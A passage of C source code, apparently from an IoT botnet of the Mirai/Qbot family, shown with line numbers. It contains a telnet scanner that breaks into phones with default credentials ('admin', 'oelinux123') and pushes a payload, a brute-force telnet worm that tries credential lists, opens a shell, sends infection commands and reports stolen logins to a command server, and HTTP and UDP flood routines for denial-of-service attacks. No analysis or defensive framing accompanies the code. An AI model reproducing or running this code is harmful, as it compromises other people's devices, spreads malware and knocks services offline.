  1861. szprintf(ip, "177.168.%d.%d", ipState[2], ipState[3]);
  1862. }
  1863. if(randnum == 98)
  1864. {
  1865. szprintf(ip, "177.169.%d.%d", ipState[2], ipState[3]);
  1866. }
  1867. if(randnum == 99)
  1868. {
  1869. szprintf(ip, "177.170.%d.%d", ipState[2], ipState[3]);
  1870. }
  1871. if(randnum == 100)
  1872. {
  1873. szprintf(ip, "177.171.%d.%d", ipState[2], ipState[3]);
  1874. }
  1875. if(randnum == 101)
  1876. {
  1877. szprintf(ip, "177.172.%d.%d", ipState[2], ipState[3]);
  1878. }
  1879. if(randnum == 102)
  1880. {
  1881. szprintf(ip, "189.96.%d.%d", ipState[2], ipState[3]);
  1882. }
  1883. if(randnum == 103)
  1884. {
  1885. szprintf(ip, "189.97.%d.%d", ipState[2], ipState[3]);
  1886. }
  1887. if(randnum == 104)
  1888. {
  1889. szprintf(ip, "189.98.%d.%d", ipState[2], ipState[3]);
  1890. }
  1891. if(randnum == 105)
  1892. {
  1893. szprintf(ip, "189.99.%d.%d", ipState[2], ipState[3]);
  1894. }
  1895. if(randnum == 106)
  1896. {
  1897. szprintf(ip, "39.34.%d.%d", ipState[2], ipState[3]);
  1898. }
  1899. if(randnum == 107)
  1900. {
  1901. szprintf(ip, "59.103.%d.%d", ipState[2], ipState[3]);
  1902. }
  1903. if(randnum == 108)
  1904. {
  1905. szprintf(ip, "191.12.%d.%d", ipState[2], ipState[3]);
  1906. }
  1907. if(randnum == 109)
  1908. {
  1909. szprintf(ip, "186.117.%d.%d", ipState[2], ipState[3]);
  1910. }
  1911. if(randnum == 110)
  1912. {
  1913. szprintf(ip, "179.131.%d.%d", ipState[2], ipState[3]);
  1914. }
  1915. if(randnum == 111)
  1916. {
  1917. szprintf(ip, "179.129.%d.%d", ipState[2], ipState[3]);
  1918. }
  1919. if(randnum == 112)
  1920. {
  1921. szprintf(ip, "179.170.%d.%d", ipState[2], ipState[3]);
  1922. }
  1923. if(randnum == 113)
  1924. {
  1925. szprintf(ip, "191.206.%d.%d", ipState[2], ipState[3]);
  1926. }
  1927. if(randnum == 114)
  1928. {
  1929. szprintf(ip, "187.118.%d.%d", ipState[2], ipState[3]);
  1930. }
  1931. if(randnum == 115)
  1932. {
  1933. szprintf(ip, "187.116.%d.%d", ipState[2], ipState[3]);
  1934. }
  1935. if(randnum == 116)
  1936. {
  1937. szprintf(ip, "179.224.%d.%d", ipState[2], ipState[3]);
  1938. }
  1939. if(randnum == 117)
  1940. {
  1941. szprintf(ip, "179.166.%d.%d", ipState[2], ipState[3]);
  1942. }
  1943. return inet_addr(ip);
  1944. }
  1945.  
  1946. in_addr_t getRandomIP(in_addr_t netmask)
  1947. {
  1948.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1949.         return tmp ^ ( rand_cmwc() & ~netmask);
  1950. }
  1951.  
  1952. unsigned short csum (unsigned short *buf, int count)
  1953. {
  1954.         register uint64_t sum = 0;
  1955.         while( count > 1 ) { sum += *buf++; count -= 2; }
  1956.         if(count > 0) { sum += *(unsigned char *)buf; }
  1957.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1958.         return (uint16_t)(~sum);
  1959. }
  1960.  
  1961. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1962. {
  1963.  
  1964.         struct tcp_pseudo
  1965.         {
  1966.                 unsigned long src_addr;
  1967.                 unsigned long dst_addr;
  1968.                 unsigned char zero;
  1969.                 unsigned char proto;
  1970.                 unsigned short length;
  1971.         } pseudohead;
  1972.         unsigned short total_len = iph->tot_len;
  1973.         pseudohead.src_addr=iph->saddr;
  1974.         pseudohead.dst_addr=iph->daddr;
  1975.         pseudohead.zero=0;
  1976.         pseudohead.proto=IPPROTO_TCP;
  1977.         pseudohead.length=htons(sizeof(struct tcphdr));
  1978.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1979.         unsigned short *tcp = malloc(totaltcp_len);
  1980.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1981.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1982.         unsigned short output = csum(tcp,totaltcp_len);
  1983.         free(tcp);
  1984.         return output;
  1985. }
  1986.  
  1987. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1988. {
  1989.         iph->ihl = 5;
  1990.         iph->version = 4;
  1991.         iph->tos = 0;
  1992.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  1993.         iph->id = rand_cmwc();
  1994.         iph->frag_off = 0;
  1995.         iph->ttl = MAXTTL;
  1996.         iph->protocol = protocol;
  1997.         iph->check = 0;
  1998.         iph->saddr = source;
  1999.         iph->daddr = dest;
  2000. }
  2001.  
  2002. int sclose(int fd)
  2003. {
  2004.         if(3 > fd) return 1;
  2005.         close(fd);
  2006.         return 0;
  2007. }
  2008.  
  2009. void PhoneScanner() {
  2010. int maxfds = 512, i, res, j, valopt;
  2011. int max = maxfds;
  2012. char buf[128], cur_dir;
  2013. fd_set fdset;
  2014. struct timeval tv;
  2015. socklen_t lon;
  2016. srand(time(NULL) ^ rand_cmwc());
  2017. char line[256];
  2018. char* buffer;
  2019. struct sockaddr_in dest_addr;
  2020. dest_addr.sin_family = AF_INET;
  2021. dest_addr.sin_port = htons(23);
  2022. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2023. buffer = malloc(512 + 1);
  2024. memset(buffer, 0, 512 + 1);
  2025. struct telstate_t fds[max];
  2026. memset(fds, 0, max * (sizeof(int) + 1));
  2027. for(i = 0; i < max; i++) {
  2028. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2029. fds[i].complete = 1;
  2030. fds[i].sockbuf = buffer; }
  2031. while(1) {
  2032. for(i = 0; i < max; i++) {
  2033. if(fds[i].totalTimeout == 0) {
  2034. fds[i].totalTimeout = time(NULL); }
  2035. switch(fds[i].state) {
  2036. case 0: {
  2037. if(fds[i].complete == 1) {
  2038. char *tmp = fds[i].sockbuf;
  2039. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2040. fds[i].sockbuf = tmp;
  2041. fds[i].ip = PhoneScan(); }
  2042. dest_addr.sin_family = AF_INET;
  2043. dest_addr.sin_port = htons(23);
  2044. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2045. dest_addr.sin_addr.s_addr = fds[i].ip;
  2046. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2047. if(fds[i].fd == -1) continue;
  2048. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2049. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  2050. sclose(fds[i].fd);
  2051. fds[i].complete = 1; }
  2052. else {
  2053. fds[i].state = 1;
  2054. fds[i].totalTimeout = 0;
  2055. }
  2056. }
  2057. break;
  2058. case 1: {
  2059. FD_ZERO(&fdset);
  2060. FD_SET(fds[i].fd, &fdset);
  2061. tv.tv_sec = 0;
  2062. tv.tv_usec = 10000;
  2063. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  2064. if(res == 1) {
  2065. lon = sizeof(int);
  2066. valopt = 0;
  2067. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2068. if(valopt) {
  2069. sclose(fds[i].fd);
  2070. fds[i].state = 0;
  2071. fds[i].complete = 1;
  2072. } else {
  2073. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2074. fds[i].totalTimeout = 0;
  2075. fds[i].bufUsed = 0;
  2076. memset(fds[i].sockbuf, 0, 512);
  2077. fds[i].state = 2;
  2078. } continue; }
  2079. else if(res == -1) {
  2080. sclose(fds[i].fd);
  2081. fds[i].state = 0;
  2082. fds[i].complete = 1;
  2083. continue; }
  2084. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2085. sclose(fds[i].fd);
  2086. fds[i].state = 0;
  2087. fds[i].complete = 1;
  2088. }
  2089. }
  2090. break;
  2091. case 2: {
  2092. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  2093. if(contains_fail(fds[i].sockbuf)) {
  2094. fds[i].state = 0;
  2095. } else {
  2096. fds[i].state = 3; }
  2097. continue; }
  2098. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2099. fds[i].state = 0;
  2100. fds[i].complete = 1;
  2101. }
  2102. }
  2103. break;
  2104. case 3: {
  2105. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  2106. fds[i].state = 0;
  2107. fds[i].complete = 1;
  2108. continue; }
  2109. fds[i].state = 4;
  2110. }
  2111. break;
  2112. case 4: {
  2113. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  2114. if(contains_fail(fds[i].sockbuf)) {
  2115. fds[i].state = 0;
  2116. } else {
  2117. fds[i].state = 5; }
  2118. continue; }
  2119. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2120. fds[i].state = 0;
  2121. fds[i].complete = 1;
  2122. }
  2123. }
  2124. break;
  2125. case 5: {
  2126. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  2127. fds[i].state = 0;
  2128. fds[i].complete = 1;
  2129. continue; }
  2130. fds[i].state = 6; }
  2131. break;
  2132. case 6: {
  2133. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances2)) {
  2134. fds[i].totalTimeout = time(NULL);
  2135. if (contains_fail(fds[i].sockbuf)) {
  2136. fds[i].state = 0;
  2137. } else {
  2138. sockprintf(mainCommSock, "\x1b[31mPhone Cracked \x1b[32m-> \x1b[37m%s | \x1b[31mUsername \x1b[32m-> \x1b[37madmin | \x1b[31mPassword \x1b[32m-> \x1b[37madmin\x1b[0m", get_telstate_host(&fds[i]));
  2139. fds[i].state = 7;
  2140. } continue; }
  2141. if (fds[i].totalTimeout + 7 < time(NULL)) {
  2142. fds[i].state = 0;
  2143. fds[i].complete = 1;
  2144. }
  2145. }
  2146. break;
  2147. case 7: {
  2148. if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {
  2149. fds[i].state = 0;
  2150. fds[i].complete = 1;
  2151. continue; }
  2152. fds[i].state = 8;
  2153. }
  2154. break;
  2155. case 8: {
  2156. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  2157. if(contains_fail(fds[i].sockbuf)) {
  2158. fds[i].state = 0;
  2159. } else {
  2160. fds[i].state = 9; }
  2161. continue; }
  2162. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2163. fds[i].state = 0;
  2164. fds[i].complete = 1;
  2165. }
  2166. }
  2167. break;
  2168. case 9: {
  2169. if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {
  2170. fds[i].state = 0;
  2171. fds[i].complete = 1;
  2172. continue; }
  2173. fds[i].state = 10;
  2174. }
  2175. break;
  2176. case 10: {
  2177. fds[i].totalTimeout = time(NULL);
  2178. if(send(fds[i].fd, phonepayload, strlen(phonepayload), MSG_NOSIGNAL) < 0) {
  2179. sclose(fds[i].fd);
  2180. fds[i].state = 0;
  2181. fds[i].complete = 1;
  2182. continue; }
  2183. fds[i].complete = 3;
  2184. if(fds[i].totalTimeout + 60 < time(NULL)) {
  2185. if(fds[i].complete !=3){
  2186. }
  2187. fds[i].state = 0;
  2188. fds[i].complete = 1;
  2189. }
  2190. break;
  2191. }
  2192. }
  2193. }
  2194. }
  2195. }
  2196.  
  2197. //  _____     _            _     __                                   _      _
  2198. // /__   \___| |_ __   ___| |_  / _\ ___ __ _ _ __  _ __   ___ _ __  | | ___| |
  2199. //   / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  2200. //  / / |  __/ | | | |  __/ |_  _\ \ (_| (_| | | | | | | |  __/ |    | |  __/ |
  2201. //  \/   \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_|    |_|\___|_|
  2202.  
  2203. void StartTheLelz()
  2204. {
  2205. int i, res, num_tmps, j;
  2206. char buf[128], cur_dir;
  2207. int wait_usec = 10;
  2208. int maxfds = 1000;
  2209. int max = maxfds;
  2210. fd_set fdset;
  2211. struct timeval tv;
  2212. socklen_t lon;
  2213. int valopt;
  2214.  
  2215. srand(time(NULL) ^ rand_cmwc());
  2216.  
  2217. char line[256];
  2218. char* buffer;
  2219. struct sockaddr_in dest_addr;
  2220. dest_addr.sin_family = AF_INET;
  2221. dest_addr.sin_port = htons(23);
  2222. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2223.  
  2224. buffer = malloc(BUFFER_SIZE + 1);
  2225. memset(buffer, 0, BUFFER_SIZE + 1);
  2226.  
  2227. struct telstate_t fds[max];
  2228.  
  2229.  
  2230. memset(fds, 0, max * (sizeof(int) + 1));
  2231. for(i = 0; i < max; i++)
  2232. {
  2233. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2234. fds[i].complete = 1;
  2235. fds[i].sockbuf = buffer;
  2236. }
  2237. for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  2238.  
  2239.  
  2240.  
  2241. while(1)
  2242. {
  2243. for(i = 0; i < max; i++)
  2244. {
  2245. if(fds[i].totalTimeout == 0)
  2246. {
  2247. fds[i].totalTimeout = time(NULL);
  2248. }
  2249.  
  2250. switch(fds[i].state)
  2251. {
  2252.                 case 0:
  2253.                 {
  2254.                 if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  2255.                 else if(fds[i].complete == 0)
  2256.                 {
  2257.                 fds[i].passwordInd++;
  2258.                 fds[i].usernameInd++;
  2259.  
  2260.                                         if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
  2261.                                         {
  2262.                                         fds[i].complete = 1;
  2263.                                         continue;
  2264.                                         }
  2265.                                         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
  2266.                                         {
  2267.                                         fds[i].complete = 1;
  2268.                                         continue;      
  2269.                                         }
  2270. }
  2271.  
  2272. dest_addr.sin_family = AF_INET;
  2273. dest_addr.sin_port = htons(23);
  2274. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2275. dest_addr.sin_addr.s_addr = fds[i].ip;
  2276.  
  2277. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2278.  
  2279. if(fds[i].fd == -1) continue;
  2280.  
  2281.         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2282.  
  2283.         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  2284. {
  2285.         reset_telstate(&fds[i]);
  2286. }
  2287. else
  2288. {
  2289.         advance_state(&fds[i], 1);
  2290. }
  2291. }
  2292. break;
  2293.  
  2294. case 1:
  2295. {
  2296. FD_ZERO(&fdset);
  2297. FD_SET(fds[i].fd, &fdset);
  2298. tv.tv_sec = 0;
  2299. tv.tv_usec = wait_usec;
  2300. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  2301.  
  2302. if(res == 1)
  2303. {
  2304.         lon = sizeof(int);
  2305.         valopt = 0;
  2306.         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2307. //printf("%d\n",valopt);
  2308.         if(valopt)
  2309.         {
  2310.         reset_telstate(&fds[i]);
  2311.         }
  2312.         else
  2313.         {
  2314.         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2315.         advance_state(&fds[i], 2);
  2316.         }
  2317.         continue;
  2318.         }
  2319.         else if(res == -1)
  2320.         {
  2321.         reset_telstate(&fds[i]);
  2322.         continue;
  2323.         }
  2324.  
  2325. if(fds[i].totalTimeout + 3 < time(NULL))
  2326. {
  2327. reset_telstate(&fds[i]);
  2328. }
  2329. }
  2330. break;
  2331.  
  2332.                 case 2:
  2333.                 {
  2334.                 if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  2335.         {
  2336.         if(contains_fail(fds[i].sockbuf))
  2337.         {
  2338.         advance_state(&fds[i], 0);
  2339.         }
  2340.         else
  2341.         {
  2342.         advance_state(&fds[i], 3);
  2343.         }
  2344.  
  2345. continue;
  2346. }
  2347.  
  2348.         if(fds[i].totalTimeout + 3 < time(NULL))
  2349.         {
  2350.         reset_telstate(&fds[i]);
  2351. }
  2352. }
  2353. break;
  2354.  
  2355.         case 3:
  2356.               {
  2357.               if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  2358.                 {
  2359.                 reset_telstate(&fds[i]);
  2360.                 continue;
  2361. }
  2362.  
  2363.         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  2364.         {
  2365.         reset_telstate(&fds[i]);
  2366.         continue;
  2367. }
  2368.  
  2369. advance_state(&fds[i], 4);
  2370. }
  2371. break;
  2372.  
  2373.         case 4:
  2374.         {
  2375.         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  2376.         {
  2377.         if(contains_fail(fds[i].sockbuf))
  2378.         {      
  2379.         advance_state(&fds[i], 0);
  2380.         }
  2381.         else
  2382.         {
  2383.                 advance_state(&fds[i], 5);
  2384.         }
  2385.         continue;
  2386. }
  2387.  
  2388.         if(fds[i].totalTimeout + 6 < time(NULL))
  2389. {
  2390. reset_telstate(&fds[i]);
  2391. }
  2392. }
  2393. break;
  2394.  
  2395.         case 5:
  2396.                 {
  2397.                 if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  2398.                         {
  2399.                         reset_telstate(&fds[i]);
  2400.                 continue;
  2401.                 }
  2402.  
  2403.                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  2404.                 {
  2405.                 reset_telstate(&fds[i]);
  2406.                 continue;
  2407.                 }
  2408.  
  2409.         advance_state(&fds[i], 6);
  2410.         }
  2411. break;
  2412.  
  2413.         case 6:
  2414.         {
  2415.         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
  2416. {
  2417. fds[i].totalTimeout = time(NULL);
  2418.  
  2419.         if(contains_fail(fds[i].sockbuf))
  2420. {
  2421. advance_state(&fds[i], 0);
  2422. }
  2423.         else if(contains_success(fds[i].sockbuf))
  2424.         {
  2425.         if(fds[i].complete == 2)
  2426.                 {
  2427.                 advance_state(&fds[i], 7);
  2428.         }
  2429.         else
  2430. {
  2431.         sockprintf(mainCommSock, "[Attempt] - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2432.                 advance_state(&fds[i], 7);
  2433.                 }
  2434. }
  2435. else
  2436.         {
  2437.         reset_telstate(&fds[i]);
  2438.         }
  2439. continue;
  2440. }
  2441.  
  2442.  
  2443.         if(fds[i].totalTimeout + 7 < time(NULL))
  2444.          {
  2445.          reset_telstate(&fds[i]);
  2446.                 }
  2447. }
  2448. break;
  2449.  
  2450.                         case 7:
  2451. {
  2452.         fds[i].totalTimeout = time(NULL);
  2453.         if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);
  2454.         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  2455.         if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
  2456.         if(send(fds[i].fd, infect2, strlen(infect2), MSG_NOSIGNAL) < 0)
  2457.         {
  2458.         reset_telstate(&fds[i]);
  2459.         continue;
  2460.                 }
  2461.                 if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, infected))
  2462.                 {
  2463.                 if(strcasestr(fds[i].sockbuf, infectedmessage) && fds[i].complete != 3)
  2464.              {
  2465.         sockprintf(mainCommSock, "[Success] [Login Found]- %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2466.         fds[i].complete = 3;
  2467.         }
  2468. }
  2469.                 if(fds[i].totalTimeout + 8 < time(NULL))
  2470.                 {
  2471.                 if(fds[i].complete !=3){
  2472.                 }
  2473.                 reset_telstate(&fds[i]);
  2474. }
  2475. break;
  2476. }
  2477. }
  2478. }
  2479. }
  2480. }
  2481.  
  2482. int socket_connect(char *host, in_port_t port)
  2483. {
  2484.     struct hostent *hp;
  2485.     struct sockaddr_in addr;
  2486.     int on = 1, sock;    
  2487.     if ((hp = gethostbyname(host)) == NULL) return 0;
  2488.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  2489.     addr.sin_port = htons(port);
  2490.     addr.sin_family = AF_INET;
  2491.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  2492.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  2493.     if (sock == -1) return 0;
  2494.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  2495.     return sock;
  2496. }
  2497. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2498. const char *useragents[] = {
  2499. "Mozilla/5.0  (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2500. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2501. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2502. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2503. "Opera/6.04 (Windows XP; U) [en]",
  2504. "Opera/9.99 (X11; U; sk)",
  2505. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2506. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2507. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2508. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2509. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2510. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2511. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2512. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2513. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2514. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2515. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2516. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2517. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2518. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2519. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2520. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2521. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2522. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2523. "wii libnup/1.0",
  2524. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2525. "PSP (PlayStation Portable); 2.00",
  2526. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2527. "Doris/1.15 [en] (Symbian)",
  2528. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2529. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  2530. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2531. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2532. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2533. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2534. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2535. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  2536. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  2537. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  2538. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  2539. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  2540. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  2541. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  2542. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  2543. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2544. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2545. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2546. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  2547. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  2548. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  2549. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  2550. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  2551. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  2552. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  2553. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  2554. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  2555. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  2556. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  2557. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  2558. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  2559. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  2560. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  2561. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  2562. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  2563. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  2564. };
  2565. const char *connections[] = {"close", "keep-alive", "accept"};
  2566.  
  2567. int i, timeEnd = time(NULL) + timeFoo;
  2568. char request[512];
  2569. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  2570. for (i = 0; i < power; i++) {
  2571. if (fork()) {
  2572. while (timeEnd > time(NULL)) {
  2573. int socket = socket_connect((char *)host, port);
  2574. if (socket != 0) {
  2575. write(socket, request, strlen(request));
  2576. close(socket);
  2577. }
  2578. }
  2579. _exit(1);
  2580. }
  2581. }
  2582. }
  2583. void sendSTD(unsigned char *ip, int port, int secs) {
  2584. int iSTD_Sock;
  2585. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  2586. time_t start = time(NULL);
  2587. struct sockaddr_in sin;
  2588. struct hostent *hp;
  2589. hp = gethostbyname(ip);
  2590. bzero((char*) &sin,sizeof(sin));
  2591. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2592. sin.sin_family = hp->h_addrtype;
